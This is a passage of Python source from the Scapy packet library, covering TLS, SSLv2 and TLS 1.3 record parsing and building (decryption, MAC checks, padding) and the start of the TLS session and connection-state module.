short.") msglen = struct.unpack('!H', s[3:5])[0] hdr, efrag, r = s[:5], s[5:5 + msglen], s[msglen + 5:] iv = mac = pad = b"" self.padlen = None decryption_success = False cipher_type = self.tls_session.rcs.cipher.type if cipher_type == 'block': version = struct.unpack("!H", s[1:3])[0] # Decrypt try: if version >= 0x0302: # Explicit IV for TLS 1.1 and 1.2 block_size = self.tls_session.rcs.cipher.block_size iv, efrag = efrag[:block_size], efrag[block_size:] self.tls_session.rcs.cipher.iv = iv pfrag = self._tls_decrypt(efrag) else: # Implicit IV for SSLv3 and TLS 1.0 pfrag = self._tls_decrypt(efrag) except CipherError as e: # This will end up dissected as _TLSEncryptedContent. cfrag = e.args[0] else: decryption_success = True # Excerpt below better corresponds to TLS 1.1 IV definition, # but the result is the same as with TLS 1.2 anyway. # This leading *IV* has been decrypted by _tls_decrypt with a # random IV, hence it does not correspond to anything. # What actually matters is that we got the first encrypted block # noqa: E501 # in order to decrypt the second block (first data block). # if version >= 0x0302: # block_size = self.tls_session.rcs.cipher.block_size # iv, pfrag = pfrag[:block_size], pfrag[block_size:] # l = struct.unpack('!H', hdr[3:5])[0] # hdr = hdr[:3] + struct.pack('!H', l-block_size) # Extract padding ('pad' actually includes the trailing padlen) padlen = orb(pfrag[-1]) + 1 mfrag, pad = pfrag[:-padlen], pfrag[-padlen:] self.padlen = padlen # Extract MAC tmp_len = self.tls_session.rcs.mac_len if tmp_len != 0: cfrag, mac = mfrag[:-tmp_len], mfrag[-tmp_len:] else: cfrag, mac = mfrag, b"" # Verify integrity chdr = hdr[:3] + struct.pack('!H', len(cfrag)) is_mac_ok = self._tls_hmac_verify(chdr, cfrag, mac) if not is_mac_ok: pkt_info = self.firstlayer().summary() log_runtime.info("TLS: record integrity check failed [%s]", pkt_info) # noqa: E501 elif cipher_type == 'stream': # Decrypt try: pfrag = self._tls_decrypt(efrag) except CipherError as e: # This will end up dissected as _TLSEncryptedContent. cfrag = e.args[0] else: decryption_success = True mfrag = pfrag # Extract MAC tmp_len = self.tls_session.rcs.mac_len if tmp_len != 0: cfrag, mac = mfrag[:-tmp_len], mfrag[-tmp_len:] else: cfrag, mac = mfrag, b"" # Verify integrity chdr = hdr[:3] + struct.pack('!H', len(cfrag)) is_mac_ok = self._tls_hmac_verify(chdr, cfrag, mac) if not is_mac_ok: pkt_info = self.firstlayer().summary() log_runtime.info("TLS: record integrity check failed [%s]", pkt_info) # noqa: E501 elif cipher_type == 'aead': # Authenticated encryption # crypto/cipher_aead.py prints a warning for integrity failure if (conf.crypto_valid_advanced and isinstance(self.tls_session.rcs.cipher, Cipher_CHACHA20_POLY1305)): # noqa: E501 iv = b"" cfrag, mac = self._tls_auth_decrypt(hdr, efrag) else: iv, cfrag, mac = self._tls_auth_decrypt(hdr, efrag) decryption_success = True # see XXX above frag = self._tls_decompress(cfrag) if decryption_success: self.deciphered_len = len(frag) else: self.deciphered_len = None reconstructed_body = iv + frag + mac + pad return hdr + reconstructed_body + r def post_dissect(self, s): """ Commit the pending r/w state if it has been triggered (e.g. by an underlying TLSChangeCipherSpec or a SSLv2ClientMasterKey). We update nothing if the prcs was not set, as this probably means that we're working out-of-context (and we need to keep the default rcs). """ if (self.tls_session.tls_version and self.tls_session.tls_version <= 0x0303): if self.tls_session.triggered_prcs_commit: if self.tls_session.prcs is not None: self.tls_session.rcs = self.tls_session.prcs self.tls_session.prcs = None self.tls_session.triggered_prcs_commit = False if self.tls_session.triggered_pwcs_commit: if self.tls_session.pwcs is not None: self.tls_session.wcs = self.tls_session.pwcs self.tls_session.pwcs = None self.tls_session.triggered_pwcs_commit = False return s def do_dissect_payload(self, s): """ Try to dissect the following data as a TLS message. Note that overloading .guess_payload_class() would not be enough, as the TLS session to be used would get lost. """ if s: try: p = TLS(s, _internal=1, _underlayer=self, tls_session=self.tls_session) except KeyboardInterrupt: raise except Exception: p = conf.raw_layer(s, _internal=1, _underlayer=self) self.add_payload(p) # Building methods def _tls_compress(self, s): """ Provided with the TLSPlaintext.fragment, return the TLSCompressed.fragment. """ alg = self.tls_session.wcs.compression return alg.compress(s) def _tls_auth_encrypt(self, s): """ Return the TLSCiphertext.fragment for AEAD ciphers, i.e. the whole GenericAEADCipher. Also, the additional data is computed right here. """ write_seq_num = struct.pack("!Q", self.tls_session.wcs.seq_num) self.tls_session.wcs.seq_num += 1 add_data = (write_seq_num + pkcs_i2osp(self.type, 1) + pkcs_i2osp(self.version, 2) + pkcs_i2osp(len(s), 2)) return self.tls_session.wcs.cipher.auth_encrypt(s, add_data, write_seq_num) def _tls_hmac_add(self, hdr, msg): """ Provided with the record header (concatenation of the TLSCompressed type, version and length fields) and the TLSCompressed.fragment, return the concatenation of the TLSCompressed.fragment and the HMAC. Meant to be used with a block cipher or a stream cipher. It would fail with an AEAD cipher, because wcs.hmac would be None. See RFC 5246, section 6.2.3. """ write_seq_num = struct.pack("!Q", self.tls_session.wcs.seq_num) self.tls_session.wcs.seq_num += 1 alg = self.tls_session.wcs.hmac version = struct.unpack("!H", hdr[1:3])[0] if version > 0x300: h = alg.digest(write_seq_num + hdr + msg) elif version == 0x300: h = alg.digest_sslv3(write_seq_num + hdr[:1] + hdr[3:5] + msg) else: raise Exception("Unrecognized version.") return msg + h def _tls_pad(self, s): """ Provided with the concatenation of the TLSCompressed.fragment and the HMAC, append the right padding and return it as a whole. This is the TLS-style padding: while SSL allowed for random padding, TLS (misguidedly) specifies the repetition of the same byte all over, and this byte must be equal to len() - 1. Meant to be used with a block cipher only. """ padding = b"" block_size = self.tls_session.wcs.cipher.block_size padlen = block_size - ((len(s) + 1) % block_size) if padlen == block_size: padlen = 0 pad_pattern = chb(padlen) padding = pad_pattern * (padlen + 1) return s + padding def _tls_encrypt(self, s): """ Return the stream- or block-ciphered version of the concatenated input. In case of GenericBlockCipher, no IV has been specifically prepended to the output, so this might not be the whole TLSCiphertext.fragment yet. """ return self.tls_session.wcs.cipher.encrypt(s) def post_build(self, pkt, pay): """ Apply the previous methods according to the writing cipher type. """ # Compute the length of TLSPlaintext fragment hdr, frag = pkt[:5], pkt[5:] tmp_len = len(frag) hdr = hdr[:3] + struct.pack("!H", tmp_len) # Compression cfrag = self._tls_compress(frag) tmp_len = len(cfrag) # Update the length as a result of compression hdr = hdr[:3] + struct.pack("!H", tmp_len) cipher_type = self.tls_session.wcs.cipher.type if cipher_type == 'block': # Integrity mfrag = self._tls_hmac_add(hdr, cfrag) # Excerpt below better corresponds to TLS 1.1 IV definition, # but the result is the same as with TLS 1.2 anyway. # if self.version >= 0x0302: # l = self.tls_session.wcs.cipher.block_size # iv = randstring(l) # mfrag = iv + mfrag # Add padding pfrag = self._tls_pad(mfrag) # Encryption if self.version >= 0x0302: # Explicit IV for TLS 1.1 and 1.2 tmp_len = self.tls_session.wcs.cipher.block_size iv = randstring(tmp_len) self.tls_session.wcs.cipher.iv = iv efrag = self._tls_encrypt(pfrag) efrag = iv + efrag else: # Implicit IV for SSLv3 and TLS 1.0 efrag = self._tls_encrypt(pfrag) elif cipher_type == "stream": # Integrity mfrag = self._tls_hmac_add(hdr, cfrag) # Encryption efrag = self._tls_encrypt(mfrag) elif cipher_type == "aead": # Authenticated encryption (with nonce_explicit as header) efrag = self._tls_auth_encrypt(cfrag) if self.len is not None: # The user gave us a 'len', let's respect this ultimately hdr = hdr[:3] + struct.pack("!H", self.len) else: # Update header with the length of TLSCiphertext.fragment hdr = hdr[:3] + struct.pack("!H", len(efrag)) # Now we commit the pending write state if it has been triggered (e.g. # by an underlying TLSChangeCipherSpec or a SSLv2ClientMasterKey). We # update nothing if the pwcs was not set. This probably means that # we're working out-of-context (and we need to keep the default wcs). if self.tls_session.triggered_pwcs_commit: if self.tls_session.pwcs is not None: self.tls_session.wcs = self.tls_session.pwcs self.tls_session.pwcs = None self.tls_session.triggered_pwcs_commit = False return hdr + efrag + pay def mysummary(self): s = super(TLS, self).mysummary() if self.msg: s += " / " s += " / ".join(getattr(x, "_name", x.name) for x in self.msg) return s ############################################################################### # TLS ChangeCipherSpec # ############################################################################### _tls_changecipherspec_type = {1: "change_cipher_spec"} class TLSChangeCipherSpec(_GenericTLSSessionInheritance): """ Note that, as they are not handshake messages, the ccs messages do not get appended to the list of messages whose integrity gets verified through the Finished messages. """ name = "TLS ChangeCipherSpec" fields_desc = [ByteEnumField("msgtype", 1, _tls_changecipherspec_type)] def post_dissection_tls_session_update(self, msg_str): self.tls_session.triggered_prcs_commit = True def post_build_tls_session_update(self, msg_str): # Unlike for dissection case, we cannot commit pending write # state as current write state. We need to delay this after # the ChangeCipherSpec message has indeed been sent self.tls_session.triggered_pwcs_commit = True ############################################################################### # TLS Alert # ############################################################################### _tls_alert_level = {1: "warning", 2: "fatal"} _tls_alert_description = { 0: "close_notify", 10: "unexpected_message", 20: "bad_record_mac", 21: "decryption_failed", 22: "record_overflow", 30: "decompression_failure", 40: "handshake_failure", 41: "no_certificate_RESERVED", 42: "bad_certificate", 43: "unsupported_certificate", 44: "certificate_revoked", 45: "certificate_expired", 46: "certificate_unknown", 47: "illegal_parameter", 48: "unknown_ca", 49: "access_denied", 50: "decode_error", 51: "decrypt_error", 60: "export_restriction_RESERVED", 70: "protocol_version", 71: "insufficient_security", 80: "internal_error", 90: "user_canceled", 100: "no_renegotiation", 110: "unsupported_extension", 111: "certificate_unobtainable", 112: "unrecognized_name", 113: "bad_certificate_status_response", 114: "bad_certificate_hash_value", 115: "unknown_psk_identity"} class TLSAlert(_GenericTLSSessionInheritance): name = "TLS Alert" fields_desc = [ByteEnumField("level", None, _tls_alert_level), ByteEnumField("descr", None, _tls_alert_description)] def mysummary(self): return self.sprintf("Alert %level%: %descr%") def post_dissection_tls_session_update(self, msg_str): pass def post_build_tls_session_update(self, msg_str): pass ############################################################################### # TLS Application Data # ############################################################################### class TLSApplicationData(_GenericTLSSessionInheritance): name = "TLS Application Data" fields_desc = [StrField("data", "")] def post_dissection_tls_session_update(self, msg_str): pass def post_build_tls_session_update(self, msg_str): pass ############################################################################### # Bindings # ############################################################################### bind_layers(TCP, TLS, sport=443) bind_layers(TCP, TLS, dport=443) scapy-2.4.4/scapy/layers/tls/record_sslv2.py000066400000000000000000000217411372370053500210530ustar00rootroot00000000000000# This file is part of Scapy # Copyright (C) 2017 Maxence Tury # This program is published under a GPLv2 license """ SSLv2 Record. """ import struct from scapy.config import conf from scapy.error import log_runtime from scapy.compat import orb, raw from scapy.packet import Raw from scapy.layers.tls.session import _GenericTLSSessionInheritance from scapy.layers.tls.record import _TLSMsgListField, TLS from scapy.layers.tls.handshake_sslv2 import _sslv2_handshake_cls from scapy.layers.tls.basefields import (_SSLv2LengthField, _SSLv2PadField, _SSLv2PadLenField, _TLSMACField) ############################################################################### # SSLv2 Record Protocol # ############################################################################### class _SSLv2MsgListField(_TLSMsgListField): def __init__(self, name, default, length_from=None): if not length_from: length_from = lambda pkt: ((pkt.len & 0x7fff) - (pkt.padlen or 0) - len(pkt.mac)) super(_SSLv2MsgListField, self).__init__(name, default, length_from) def m2i(self, pkt, m): cls = Raw if len(m) >= 1: msgtype = orb(m[0]) cls = _sslv2_handshake_cls.get(msgtype, Raw) if cls is Raw: return Raw(m) else: return cls(m, tls_session=pkt.tls_session) def i2m(self, pkt, p): cur = b"" if isinstance(p, _GenericTLSSessionInheritance): p.tls_session = pkt.tls_session if not pkt.tls_session.frozen: cur = p.raw_stateful() p.post_build_tls_session_update(cur) else: cur = raw(p) else: cur = raw(p) return cur def addfield(self, pkt, s, val): res = b"" for p in val: res += self.i2m(pkt, p) return s + res class SSLv2(TLS): """ The encrypted_data is the encrypted version of mac+msg+pad. """ __slots__ = ["with_padding", "protected_record"] name = "SSLv2" fields_desc = [_SSLv2LengthField("len", None), _SSLv2PadLenField("padlen", None), _TLSMACField("mac", b""), _SSLv2MsgListField("msg", []), _SSLv2PadField("pad", "")] def __init__(self, *args, **kargs): self.with_padding = kargs.get("with_padding", False) self.protected_record = kargs.get("protected_record", None) super(SSLv2, self).__init__(*args, **kargs) # Parsing methods def _sslv2_mac_verify(self, msg, mac): secret = self.tls_session.rcs.cipher.key if secret is None: return True mac_len = self.tls_session.rcs.mac_len if mac_len == 0: # should be TLS_NULL_WITH_NULL_NULL return True if len(mac) != mac_len: return False read_seq_num = struct.pack("!I", self.tls_session.rcs.seq_num) alg = self.tls_session.rcs.hash h = alg.digest(secret + msg + read_seq_num) return h == mac def pre_dissect(self, s): if len(s) < 2: raise Exception("Invalid record: header is too short.") msglen = struct.unpack("!H", s[:2])[0] if msglen & 0x8000: hdrlen = 2 msglen_clean = msglen & 0x7fff else: hdrlen = 3 msglen_clean = msglen & 0x3fff hdr = s[:hdrlen] efrag = s[hdrlen:hdrlen + msglen_clean] self.protected_record = s[:hdrlen + msglen_clean] r = s[hdrlen + msglen_clean:] mac = pad = b"" # Decrypt (with implicit IV if block cipher) mfrag = self._tls_decrypt(efrag) # Extract MAC maclen = self.tls_session.rcs.mac_len if maclen == 0: mac, pfrag = b"", mfrag else: mac, pfrag = mfrag[:maclen], mfrag[maclen:] # Extract padding padlen = 0 if hdrlen == 3: padlen = orb(s[2]) if padlen == 0: cfrag, pad = pfrag, b"" else: cfrag, pad = pfrag[:-padlen], pfrag[-padlen:] # Verify integrity is_mac_ok = self._sslv2_mac_verify(cfrag + pad, mac) if not is_mac_ok: pkt_info = self.firstlayer().summary() log_runtime.info("TLS: record integrity check failed [%s]", pkt_info) # noqa: E501 reconstructed_body = mac + cfrag + pad return hdr + reconstructed_body + r def post_dissect(self, s): """ SSLv2 may force us to commit the write connState here. """ if self.tls_session.triggered_prcs_commit: if self.tls_session.prcs is not None: self.tls_session.rcs = self.tls_session.prcs self.tls_session.prcs = None self.tls_session.triggered_prcs_commit = False if self.tls_session.triggered_pwcs_commit: if self.tls_session.pwcs is not None: self.tls_session.wcs = self.tls_session.pwcs self.tls_session.pwcs = None self.tls_session.triggered_pwcs_commit = False if self.tls_session.prcs is not None: self.tls_session.prcs.seq_num += 1 self.tls_session.rcs.seq_num += 1 return s def do_dissect_payload(self, s): if s: try: p = SSLv2(s, _internal=1, _underlayer=self, tls_session=self.tls_session) except KeyboardInterrupt: raise except Exception: if conf.debug_dissect: raise p = conf.raw_layer(s, _internal=1, _underlayer=self) self.add_payload(p) # Building methods def _sslv2_mac_add(self, msg): secret = self.tls_session.wcs.cipher.key if secret is None: return msg write_seq_num = struct.pack("!I", self.tls_session.wcs.seq_num) alg = self.tls_session.wcs.hash h = alg.digest(secret + msg + write_seq_num) return h + msg def _sslv2_pad(self, s): padding = b"" block_size = self.tls_session.wcs.cipher.block_size padlen = block_size - (len(s) % block_size) if padlen == block_size: padlen = 0 padding = b"\x00" * padlen return s + padding def post_build(self, pkt, pay): if self.protected_record is not None: # we do not update the tls_session return self.protected_record + pay if self.padlen is None: cfrag = pkt[2:] else: cfrag = pkt[3:] if self.pad == b"" and self.tls_session.wcs.cipher.type == 'block': pfrag = self._sslv2_pad(cfrag) else: pad = self.pad or b"" pfrag = cfrag + pad padlen = self.padlen if padlen is None: padlen = len(pfrag) - len(cfrag) hdr = pkt[:2] if padlen > 0: hdr += struct.pack("B", padlen) # Integrity if self.mac == b"": mfrag = self._sslv2_mac_add(pfrag) else: mfrag = self.mac + pfrag # Encryption efrag = self._tls_encrypt(mfrag) if self.len is not None: tmp_len = self.len if not self.with_padding: tmp_len |= 0x8000 hdr = struct.pack("!H", tmp_len) + hdr[2:] else: # Update header with the length of TLSCiphertext.fragment msglen_new = len(efrag) if padlen: if msglen_new > 0x3fff: raise Exception("Invalid record: encrypted data too long.") else: if msglen_new > 0x7fff: raise Exception("Invalid record: encrypted data too long.") msglen_new |= 0x8000 hdr = struct.pack("!H", msglen_new) + hdr[2:] # Now we commit the pending write state if it has been triggered (e.g. # by an underlying TLSChangeCipherSpec or a SSLv2ClientMasterKey). We # update nothing if the pwcs was not set. This probably means that # we're working out-of-context (and we need to keep the default wcs). # SSLv2 may force us to commit the reading connState here. if self.tls_session.triggered_pwcs_commit: if self.tls_session.pwcs is not None: self.tls_session.wcs = self.tls_session.pwcs self.tls_session.pwcs = None self.tls_session.triggered_pwcs_commit = False if self.tls_session.triggered_prcs_commit: if self.tls_session.prcs is not None: self.tls_session.rcs = self.tls_session.prcs self.tls_session.prcs = None self.tls_session.triggered_prcs_commit = False if self.tls_session.pwcs is not None: self.tls_session.pwcs.seq_num += 1 self.tls_session.wcs.seq_num += 1 return hdr + efrag + pay scapy-2.4.4/scapy/layers/tls/record_tls13.py000066400000000000000000000207301372370053500207450ustar00rootroot00000000000000# This file is part of Scapy # Copyright (C) 2017 Maxence Tury # 2019 Romain Perez # This program is published under a GPLv2 license """ Common TLS 1.3 fields & bindings. This module covers the record layer, along with the ChangeCipherSpec, Alert and ApplicationData submessages. For the Handshake type, see tls_handshake.py. See the TLS class documentation for more information. """ import struct from scapy.config import conf from scapy.error import log_runtime, warning from scapy.compat import raw, orb from scapy.fields import ByteEnumField, PacketField, XStrField from scapy.layers.tls.session import _GenericTLSSessionInheritance from scapy.layers.tls.basefields import _TLSVersionField, _tls_version, \ _TLSMACField, _TLSLengthField, _tls_type from scapy.layers.tls.record import _TLSMsgListField, TLS from scapy.layers.tls.crypto.cipher_aead import AEADTagError from scapy.layers.tls.crypto.cipher_stream import Cipher_NULL from scapy.layers.tls.crypto.common import CipherError from scapy.layers.tls.crypto.pkcs1 import pkcs_i2osp ############################################################################### # TLS Record Protocol # ############################################################################### class TLSInnerPlaintext(_GenericTLSSessionInheritance): name = "TLS Inner Plaintext" fields_desc = [_TLSMsgListField("msg", []), ByteEnumField("type", None, _tls_type), XStrField("pad", "")] def pre_dissect(self, s): """ We need to parse the padding and type as soon as possible, else we won't be able to parse the message list... """ if len(s) < 1: raise Exception("Invalid InnerPlaintext (too short).") tmp_len = len(s) - 1 if s[-1] != b"\x00": msg_len = tmp_len else: n = 1 while s[-n] != b"\x00" and n < tmp_len: n += 1 msg_len = tmp_len - n self.fields_desc[0].length_from = lambda pkt: msg_len self.type = struct.unpack("B", s[msg_len:msg_len + 1])[0] return s class _TLSInnerPlaintextField(PacketField): def __init__(self, name, default, *args, **kargs): super(_TLSInnerPlaintextField, self).__init__(name, default, TLSInnerPlaintext) def m2i(self, pkt, m): return self.cls(m, tls_session=pkt.tls_session) def getfield(self, pkt, s): tag_len = pkt.tls_session.rcs.mac_len frag_len = pkt.len - tag_len if frag_len < 1: warning("InnerPlaintext should at least contain a byte type!") return s, None remain, i = super(_TLSInnerPlaintextField, self).getfield(pkt, s[:frag_len]) # noqa: E501 # remain should be empty here return remain + s[frag_len:], i def i2m(self, pkt, p): if isinstance(p, _GenericTLSSessionInheritance): p.tls_session = pkt.tls_session if not pkt.tls_session.frozen: return p.raw_stateful() return raw(p) class TLS13(_GenericTLSSessionInheritance): __slots__ = ["deciphered_len"] name = "TLS 1.3" fields_desc = [ByteEnumField("type", 0x17, _tls_type), _TLSVersionField("version", 0x0303, _tls_version), _TLSLengthField("len", None), _TLSInnerPlaintextField("inner", TLSInnerPlaintext()), _TLSMACField("auth_tag", None)] def __init__(self, *args, **kargs): self.deciphered_len = kargs.get("deciphered_len", None) super(TLS13, self).__init__(*args, **kargs) # Parsing methods def _tls_auth_decrypt(self, s): """ Provided with the record header and AEAD-ciphered data, return the sliced and clear tuple (TLSInnerPlaintext, tag). Note that we still return the slicing of the original input in case of decryption failure. Also, if the integrity check fails, a warning will be issued, but we still return the sliced (unauthenticated) plaintext. """ rcs = self.tls_session.rcs read_seq_num = struct.pack("!Q", rcs.seq_num) rcs.seq_num += 1 add_data = (pkcs_i2osp(self.type, 1) + pkcs_i2osp(self.version, 2) + pkcs_i2osp(len(s), 2)) try: return rcs.cipher.auth_decrypt(add_data, s, read_seq_num) except CipherError as e: return e.args except AEADTagError as e: pkt_info = self.firstlayer().summary() log_runtime.info("TLS: record integrity check failed [%s]", pkt_info) # noqa: E501 return e.args def pre_dissect(self, s): """ Decrypt, verify and decompress the message. """ # We commit the pending read state if it has been triggered. if self.tls_session.triggered_prcs_commit: if self.tls_session.prcs is not None: self.tls_session.rcs = self.tls_session.prcs self.tls_session.prcs = None self.tls_session.triggered_prcs_commit = False if len(s) < 5: raise Exception("Invalid record: header is too short.") self.type = orb(s[0]) if (isinstance(self.tls_session.rcs.cipher, Cipher_NULL) or self.type == 0x14): self.deciphered_len = None return s else: msglen = struct.unpack('!H', s[3:5])[0] hdr, efrag, r = s[:5], s[5:5 + msglen], s[msglen + 5:] frag, auth_tag = self._tls_auth_decrypt(efrag) self.deciphered_len = len(frag) return hdr + frag + auth_tag + r def post_dissect(self, s): """ Commit the pending read state if it has been triggered. We update nothing if the prcs was not set, as this probably means that we're working out-of-context (and we need to keep the default rcs). """ if self.tls_session.triggered_prcs_commit: if self.tls_session.prcs is not None: self.tls_session.rcs = self.tls_session.prcs self.tls_session.prcs = None self.tls_session.triggered_prcs_commit = False return s def do_dissect_payload(self, s): """ Try to dissect the following data as a TLS message. Note that overloading .guess_payload_class() would not be enough, as the TLS session to be used would get lost. """ if s: try: p = TLS(s, _internal=1, _underlayer=self, tls_session=self.tls_session) except KeyboardInterrupt: raise except Exception: p = conf.raw_layer(s, _internal=1, _underlayer=self) self.add_payload(p) # Building methods def _tls_auth_encrypt(self, s): """ Return the TLSCiphertext.encrypted_record for AEAD ciphers. """ wcs = self.tls_session.wcs write_seq_num = struct.pack("!Q", wcs.seq_num) wcs.seq_num += 1 add_data = (pkcs_i2osp(self.type, 1) + pkcs_i2osp(self.version, 2) + pkcs_i2osp(len(s) + wcs.cipher.tag_len, 2)) return wcs.cipher.auth_encrypt(s, add_data, write_seq_num) def post_build(self, pkt, pay): """ Apply the previous methods according to the writing cipher type. """ # Compute the length of TLSPlaintext fragment hdr, frag = pkt[:5], pkt[5:] if not isinstance(self.tls_session.wcs.cipher, Cipher_NULL): frag = self._tls_auth_encrypt(frag) if self.len is not None: # The user gave us a 'len', let's respect this ultimately hdr = hdr[:3] + struct.pack("!H", self.len) else: # Update header with the length of TLSCiphertext.inner hdr = hdr[:3] + struct.pack("!H", len(frag)) # Now we commit the pending write state if it has been triggered. We # update nothing if the pwcs was not set. This probably means that # we're working out-of-context (and we need to keep the default wcs). if self.tls_session.triggered_pwcs_commit: if self.tls_session.pwcs is not None: self.tls_session.wcs = self.tls_session.pwcs self.tls_session.pwcs = None self.tls_session.triggered_pwcs_commit = False return hdr + frag + pay scapy-2.4.4/scapy/layers/tls/session.py000066400000000000000000001262741372370053500201360ustar00rootroot00000000000000# This file is part of Scapy # Copyright (C) 2007, 2008, 2009 Arnaud Ebalard # 2015, 2016, 2017 Maxence Tury # 2019 Romain Perez # This program is published under a GPLv2 license """ TLS session handler. """ import socket import struct from scapy.config import conf from scapy.compat import raw import scapy.modules.six as six from scapy.error import log_runtime, warning from scapy.packet import Packet from scapy.pton_ntop import inet_pton from scapy.sessions import DefaultSession from scapy.utils import repr_hex, strxor from scapy.layers.inet import TCP from scapy.layers.tls.crypto.compression import Comp_NULL from scapy.layers.tls.crypto.hkdf import TLS13_HKDF from scapy.layers.tls.crypto.prf import PRF # Note the following import may happen inside connState.__init__() # in order to avoid to avoid cyclical dependencies. # from scapy.layers.tls.crypto.suites import TLS_NULL_WITH_NULL_NULL ############################################################################### # Connection states # ############################################################################### class connState(object): """ From RFC 5246, section 6.1: A TLS connection state is the operating environment of the TLS Record Protocol. It specifies a compression algorithm, an encryption algorithm, and a MAC algorithm. In addition, the parameters for these algorithms are known: the MAC key and the bulk encryption keys for the connection in both the read and the write directions. Logically, there are always four connection states outstanding: the current read and write states, and the pending read and write states. All records are processed under the current read and write states. The security parameters for the pending states can be set by the TLS Handshake Protocol, and the ChangeCipherSpec can selectively make either of the pending states current, in which case the appropriate current state is disposed of and replaced with the pending state; the pending state is then reinitialized to an empty state. It is illegal to make a state that has not been initialized with security parameters a current state. The initial current state always specifies that no encryption, compression, or MAC will be used. (For practical reasons, Scapy scraps these two last lines, through the implementation of dummy ciphers and MAC with TLS_NULL_WITH_NULL_NULL.) These attributes and behaviours are mostly mapped in this class. Also, note that Scapy may make a current state out of a pending state which has been initialized with dummy security parameters. We need this in order to know when the content of a TLS message is encrypted, whether we possess the right keys to decipher/verify it or not. For instance, when Scapy parses a CKE without knowledge of any secret, and then a CCS, it needs to know that the following Finished is encrypted and signed according to a new cipher suite, even though it cannot decipher the message nor verify its integrity. """ def __init__(self, connection_end="server", read_or_write="read", seq_num=0, compression_alg=Comp_NULL, ciphersuite=None, tls_version=0x0303): self.tls_version = tls_version # It is the user's responsibility to keep the record seq_num # under 2**64-1. If this value gets maxed out, the TLS class in # record.py will crash when trying to encode it with struct.pack(). self.seq_num = seq_num self.connection_end = connection_end self.row = read_or_write if ciphersuite is None: from scapy.layers.tls.crypto.suites import TLS_NULL_WITH_NULL_NULL ciphersuite = TLS_NULL_WITH_NULL_NULL self.ciphersuite = ciphersuite(tls_version=tls_version) if not self.ciphersuite.usable: warning("TLS ciphersuite not usable. Is the cryptography Python module installed ?") # noqa: E501 return self.compression = compression_alg() self.key_exchange = ciphersuite.kx_alg() self.cipher = ciphersuite.cipher_alg() self.hash = ciphersuite.hash_alg() if tls_version > 0x0200: if ciphersuite.cipher_alg.type == "aead": self.hmac = None self.mac_len = self.cipher.tag_len else: self.hmac = ciphersuite.hmac_alg() self.mac_len = self.hmac.hmac_len else: self.hmac = ciphersuite.hmac_alg() # should be Hmac_NULL self.mac_len = self.hash.hash_len if tls_version >= 0x0304: self.hkdf = TLS13_HKDF(self.hash.name.lower()) else: self.prf = PRF(ciphersuite.hash_alg.name, tls_version) def debug_repr(self, name, secret): if conf.debug_tls and secret: log_runtime.debug("TLS: %s %s %s: %s", self.connection_end, self.row, name, repr_hex(secret)) def derive_keys(self, client_random=b"", server_random=b"", master_secret=b""): # XXX Can this be called over a non-usable suite? What happens then? cs = self.ciphersuite # Derive the keys according to the cipher type and protocol version key_block = self.prf.derive_key_block(master_secret, server_random, client_random, cs.key_block_len) # When slicing the key_block, keep the right half of the material skip_first = False if ((self.connection_end == "client" and self.row == "read") or (self.connection_end == "server" and self.row == "write")): skip_first = True pos = 0 cipher_alg = cs.cipher_alg # MAC secret (for block and stream ciphers) if (cipher_alg.type == "stream") or (cipher_alg.type == "block"): start = pos if skip_first: start += cs.hmac_alg.key_len end = start + cs.hmac_alg.key_len mac_secret = key_block[start:end] self.debug_repr("mac_secret", mac_secret) pos += 2 * cs.hmac_alg.key_len else: mac_secret = None # Cipher secret start = pos if skip_first: start += cipher_alg.key_len end = start + cipher_alg.key_len cipher_secret = key_block[start:end] if cs.kx_alg.export: reqLen = cipher_alg.expanded_key_len cipher_secret = self.prf.postprocess_key_for_export(cipher_secret, client_random, server_random, self.connection_end, # noqa: E501 self.row, reqLen) self.debug_repr("cipher_secret", cipher_secret) pos += 2 * cipher_alg.key_len # Implicit IV (for block and AEAD ciphers) start = pos if cipher_alg.type == "block": if skip_first: start += cipher_alg.block_size end = start + cipher_alg.block_size elif cipher_alg.type == "aead": if skip_first: start += cipher_alg.fixed_iv_len end = start + cipher_alg.fixed_iv_len # Now we have the secrets, we can instantiate the algorithms if cs.hmac_alg is None: # AEAD self.hmac = None self.mac_len = cipher_alg.tag_len else: self.hmac = cs.hmac_alg(mac_secret) self.mac_len = self.hmac.hmac_len if cipher_alg.type == "stream": cipher = cipher_alg(cipher_secret) elif cipher_alg.type == "block": # We set an IV every time, even though it does not matter for # TLS 1.1+ as it requires an explicit IV. Indeed the cipher.iv # would get updated in TLS.post_build() or TLS.pre_dissect(). iv = key_block[start:end] if cs.kx_alg.export: reqLen = cipher_alg.block_size iv = self.prf.generate_iv_for_export(client_random, server_random, self.connection_end, self.row, reqLen) cipher = cipher_alg(cipher_secret, iv) self.debug_repr("block iv", iv) elif cipher_alg.type == "aead": fixed_iv = key_block[start:end] nonce_explicit_init = 0 # If you ever wanted to set a random nonce_explicit, use this: # exp_bit_len = cipher_alg.nonce_explicit_len * 8 # nonce_explicit_init = random.randint(0, 2**exp_bit_len - 1) cipher = cipher_alg(cipher_secret, fixed_iv, nonce_explicit_init) self.debug_repr("aead fixed iv", fixed_iv) self.cipher = cipher def sslv2_derive_keys(self, key_material): """ There is actually only one key, the CLIENT-READ-KEY or -WRITE-KEY. Note that skip_first is opposite from the one with SSLv3 derivation. Also, if needed, the IV should be set elsewhere. """ skip_first = True if ((self.connection_end == "client" and self.row == "read") or (self.connection_end == "server" and self.row == "write")): skip_first = False cipher_alg = self.ciphersuite.cipher_alg start = 0 if skip_first: start += cipher_alg.key_len end = start + cipher_alg.key_len cipher_secret = key_material[start:end] self.cipher = cipher_alg(cipher_secret) self.debug_repr("cipher_secret", cipher_secret) def tls13_derive_keys(self, key_material): cipher_alg = self.ciphersuite.cipher_alg key_len = cipher_alg.key_len iv_len = cipher_alg.fixed_iv_len write_key = self.hkdf.expand_label(key_material, b"key", b"", key_len) write_iv = self.hkdf.expand_label(key_material, b"iv", b"", iv_len) self.cipher = cipher_alg(write_key, write_iv) def snapshot(self): """ This is used mostly as a way to keep the cipher state and the seq_num. """ snap = connState(connection_end=self.connection_end, read_or_write=self.row, seq_num=self.seq_num, compression_alg=type(self.compression), ciphersuite=type(self.ciphersuite), tls_version=self.tls_version) snap.cipher = self.cipher.snapshot() if self.hmac: snap.hmac.key = self.hmac.key return snap def __repr__(self): res = "Connection end : %s\n" % self.connection_end.upper() res += "Cipher suite : %s (0x%04x)\n" % (self.ciphersuite.name, self.ciphersuite.val) res += "Compression : %s (0x%02x)\n" % (self.compression.name, self.compression.val) tabsize = 4 return res.expandtabs(tabsize) class readConnState(connState): def __init__(self, **kargs): connState.__init__(self, read_or_write="read", **kargs) class 